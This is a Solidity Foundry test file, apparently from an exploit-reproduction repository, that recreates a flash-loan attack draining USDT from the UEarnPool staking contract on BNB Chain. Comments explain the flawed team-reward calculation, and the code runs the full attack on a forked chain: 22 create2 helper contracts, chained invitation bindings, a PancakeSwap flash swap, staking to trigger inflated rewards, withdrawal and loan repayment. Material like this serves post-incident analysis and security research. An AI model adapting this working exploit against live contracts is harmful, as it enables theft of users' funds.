-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
UEarnPool_exp.sol
130 lines (115 loc) · 5.68 KB
/
UEarnPool_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
// @Analysis
// https://twitter.com/CertiKAlert/status/1593094922160128000
// @Tx
// https://bscscan.com/tx/0xb83f9165952697f27b1c7f932bcece5dfa6f0d2f9f3c3be2bb325815bfd834ec
// https://bscscan.com/tx/0x824de0989f2ce3230866cb61d588153e5312151aebb1e905ad775864885cd418
// @Summary
// The key is to obtain invitation rewards, create 22 contracts, bind each other, first stake a large amount of usdt, make teamamont reach the standard of _levelConfigs[3], stake in turn, and finally claim rewards
// Reward Calculation: claimTeamReward() levelConfig
// if (_userInfos[account].levelClaimed[i] == 0) {
// if (i == 0) {
// levelReward = levelConfig.teamAmount * levelConfig.rewardRate / _feeDivFactor;
// } else {
// levelReward = (levelConfig.teamAmount - _levelConfigs[i - 1].teamAmount) * levelConfig.rewardRate / _feeDivFactor;
// }
// pendingReward += levelReward;
// _levelConfigs[0] = LevelConfig(100, 300000 * amountUnit, 3000 * amountUnit); rewardRate; teamAmount; amount;
// _levelConfigs[1] = LevelConfig(300, 600000 * amountUnit, 7000 * amountUnit);
// _levelConfigs[2] = LevelConfig(500, 1200000 * amountUnit, 10000 * amountUnit);
// _levelConfigs[3] = LevelConfig(1000, 2400000 * amountUnit, 20000 * amountUnit);
// _feeDivFactor = 10000
// rewrad: 162_000 = 1_200_000 * 0.1 + 600_000 * 0.05 + 300_000 * 0.03 + 300_000 * 0.01
interface UEarnPool {
function bindInvitor(
address invitor
) external;
function stake(uint256 pid, uint256 amount) external;
function claimTeamReward(
address account
) external;
}
contract claimReward {
UEarnPool Pool = UEarnPool(0x02D841B976298DCd37ed6cC59f75D9Dd39A3690c);
IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
function bind(
address invitor
) external {
Pool.bindInvitor(invitor);
}
function stakeAndClaimReward(
uint256 amount
) external {
USDT.approve(address(address(Pool)), type(uint256).max);
Pool.stake(0, amount);
Pool.claimTeamReward(address(this));
}
function withdraw(
address receiver
) external {
USDT.transfer(receiver, USDT.balanceOf(address(this)));
}
}
contract ContractTest is Test {
UEarnPool Pool = UEarnPool(0x02D841B976298DCd37ed6cC59f75D9Dd39A3690c);
Uni_Pair_V2 Pair = Uni_Pair_V2(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);
IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
address[] contractList;
CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheat.createSelectFork("bsc", 23_120_167);
}
function testExploit() public {
contractFactory();
// bind invitor
(bool success,) = contractList[0].call(abi.encodeWithSignature("bind(address)", tx.origin));
require(success);
for (uint256 i = 1; i < 22; i++) {
(bool success,) = contractList[i].call(abi.encodeWithSignature("bind(address)", contractList[i - 1]));
require(success);
}
Pair.swap(2_420_000 * 1e18, 0, address(this), new bytes(1));
emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
}
function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
uint256 len = contractList.length;
// LevelConfig[3].teamAmount : 2_400_000
USDT.transfer(contractList[len - 1], 2_400_000 * 1e18);
(bool success1,) =
contractList[len - 1].call(abi.encodeWithSignature("stakeAndClaimReward(uint256)", 2_400_000 * 1e18));
require(success1);
for (uint256 i = len - 2; i > 4; i--) {
USDT.transfer(contractList[i], 20_000 * 1e18); // LevelConfig[3].Amount : 20_000
USDT.balanceOf(address(this));
// 162000 - 20000 + 1500, 1500 is the reduce amount of _addInviteReward(), claim remaining USDT when USDT amount in contract less than 162_000,
if (USDT.balanceOf(address(Pool)) < 143_500 * 1e18) {
USDT.transfer(address(Pool), 143_500 * 1e18 - USDT.balanceOf(address(Pool)));
}
(bool success1,) =
contractList[i].call(abi.encodeWithSignature("stakeAndClaimReward(uint256)", 20_000 * 1e18)); // LevelConfig[3].Amount : 20_000
require(success1);
(bool success2,) = contractList[i].call(abi.encodeWithSignature("withdraw(address)", address(this)));
require(success2);
}
contractList[0].call(abi.encodeWithSignature("withdraw(address)", address(this))); // claim the reward from _addInviteReward()
contractList[1].call(abi.encodeWithSignature("withdraw(address)", address(this)));
contractList[2].call(abi.encodeWithSignature("withdraw(address)", address(this)));
contractList[3].call(abi.encodeWithSignature("withdraw(address)", address(this)));
contractList[4].call(abi.encodeWithSignature("withdraw(address)", address(this)));
uint256 borrowAmount = 2_420_000 * 1e18;
USDT.transfer(address(Pair), borrowAmount * 10_000 / 9975 + 1000);
}
function contractFactory() public {
address _add;
bytes memory bytecode = type(claimReward).creationCode;
for (uint256 _salt = 0; _salt < 22; _salt++) {
assembly {
_add := create2(0, add(bytecode, 32), mload(bytecode), _salt)
}
contractList.push(_add);
}
}
}